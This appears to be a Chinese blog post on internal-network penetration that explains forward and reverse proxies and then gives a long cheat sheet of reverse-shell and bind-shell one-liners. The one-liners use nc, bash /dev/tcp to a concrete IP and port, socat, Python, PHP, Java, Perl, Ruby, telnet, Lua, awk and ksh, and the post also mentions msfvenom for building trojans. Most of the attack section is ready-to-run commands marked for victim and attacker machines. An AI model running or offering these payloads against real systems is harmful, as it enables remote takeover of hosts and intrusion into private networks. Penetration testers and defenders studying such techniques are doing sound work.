欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

程序员文章站 2022-05-15 20:26:01
...

目的

渗透测试中,我们往往会面对十分复杂的内网环境,比如最常用的防火墙,它会限制特定端口的数据包出入

需要转发的情况

1.A可以访问B的80端口,但是不能访问B的3389端口
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信

代理方式

正向代理

正向代理是服务器开放端口,客户端主动访问服务器的端口

 内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)
我们常说的代理就是指正向代理,正向代理的过程,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。
举个例子在国内用浏览器访问 www.google.com 时,因为防火墙的原因拒绝连接,这时候你可以在国外搭建一台代理服务器,让代理帮你去请求google.com,代理把请求返回的相应结构再返回给你。

反向代理

反向代理是客户端开发端口,服务器连接客户端

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)
反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去,比如说负载均衡。

内网转发形式

反弹shell:在攻击者机器,获取受害者机器的命令行
反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
反弹代理:将攻击者的流量转发到内网其他服务器上

反弹shell

1.工具nc使用

1.1 利用nc正向连接shel(常用)

条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口
 (受害机输入)

nc -lvp 4444 -e cmd.exe      (反弹windows shell)
nc -lvp 4444 -e /bin/bash     (反弹linux shell)

此处以windows为例:

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)
步骤二:攻击机连接被控服务器的4444端口
(攻击机输入)

nc -vv 受害机ip 4444

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

1.2 利用nc反弹shell(常用)

条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)

nc -lvp 4444

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)
步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)

nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)

此处以windows为例:

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

2.工具msf使用

2.1 msfconsole

作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透。。。

模块介绍:

exploits:攻击脚本
payloads:攻击载荷(攻击效果控制)
auxiliaru:辅助模块(扫描工具等)
post:后渗透模块(提取信息)
encoders编码模块
nops:无操作生成器

2.2 msfvenom

作用:制作木马

2.3 msfencode

作用:对木马进行编码

2.4 msf使用:

请点击此链接查看我的另一篇文章,介绍了msf具体使用

3.Linux反弹shell总结

方式:

利用系统自带的bash和gawk
利用脚本:python、perl、ruby、lua、php、jsp、aspx
利用第三方服务或工具:elnet、xterm、socat、nc

使用方法:

3.1.1 发送文件(公网发内网)
文件发送端:

nc -lp 6666 < 文件

文件接收端:

nc 发送端ip 发送端端口 > 新文件

3.1.2 发送文件(内网发公网)
文件发送端:

nc -lp 6666 > 文件

文件接收端:

nc 发送端ip 发送端端口 < 新文件

3.2 聊天
 发送端:

nc -lp 6666

接收端:

nc 发送端ip 发送端端口


3.3.1 nc发送shell
发送端(公网服务器):

nc -lvvp 6666 -e /bin/bash

接收端:

nc 发送端ip 发送端攻击者ip

3.3.2 nc反弹shell
接收端:

nc -lvvp 6666

发送端(内网网服务器):

nc 接收端ip 接收端端口 -e /bin/bash

3.4 bash反弹
接收端(hackip,公网):

nc -lvvp 端口

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

发送端(受害者):

bash -i >& /dev/tcp/111.230.170.95/9985 0>&1

 

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

或者发送端(受害者):

0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31

 

3.5.1 socat反弹(tcp)
接收端(攻击机):

./socat TCP-LISTEN:端口

发送端(靶机):

./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口

3.5.2 socat反弹(udp)
接收端:

nc -lvvp 8080

发送端:

socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &

3.6 python反弹

接收端(攻击机,外网):

nc -lvvp 端口

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

发送端(靶机):

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("接收端ip",接收端端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

内网渗透之——内网转发(反弹shell、反弹端口、反弹代理)

3.7 PHP反弹
接收端:

nc -lvvp 端口

发送端:

php -r '$sock=fsockopen("攻击者ip",端口);exec("/bin/sh -i <&3 >&3 2>&3");'

3.8 JAVA反弹
接收端:

nc -lvvp 端口

发送端:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击者ip/端口;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
p.waitFor()

3.9 perl反弹
接收端:

nc -lvvp 端口

发送端:

perl -e 'use Socket;$i="攻击者ip";$p=攻击者端口;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

3.10 ruby反弹
 接收端:

nc -lvvp 端口

发送端:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击者ip","端口");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

3.11 telnet反弹
接收端:

nc -lvvp 端口

发送端:

mknod backpipe p && telnet 攻击者ip 端口 0<backpipe | /bin/bash 1>backpipe

3.12 lua反弹(安装lua环境:apt-get install lua*)
接收端:

nc -lvvp 端口

发送端:

lua -e "local s=require('socket');local t=assert(s.tcp());t:connect('攻击者ip',端口);while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();"

3.13 awk反弹
接收端:

nc -lvvp 端口

发送端:

awk 'BEGIN{s="/inet/tcp/0/攻击者ip/端口";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!="exit");close(s)}}'

3.14 ksh反弹
接收端:

nc -lvvp 端口

发送端:

ksh -c 'ksh >/dev/tcp/攻击者ip/端口 2>&1 <&1'

更新中。。。。。。。。。。。。

相关标签: 后渗透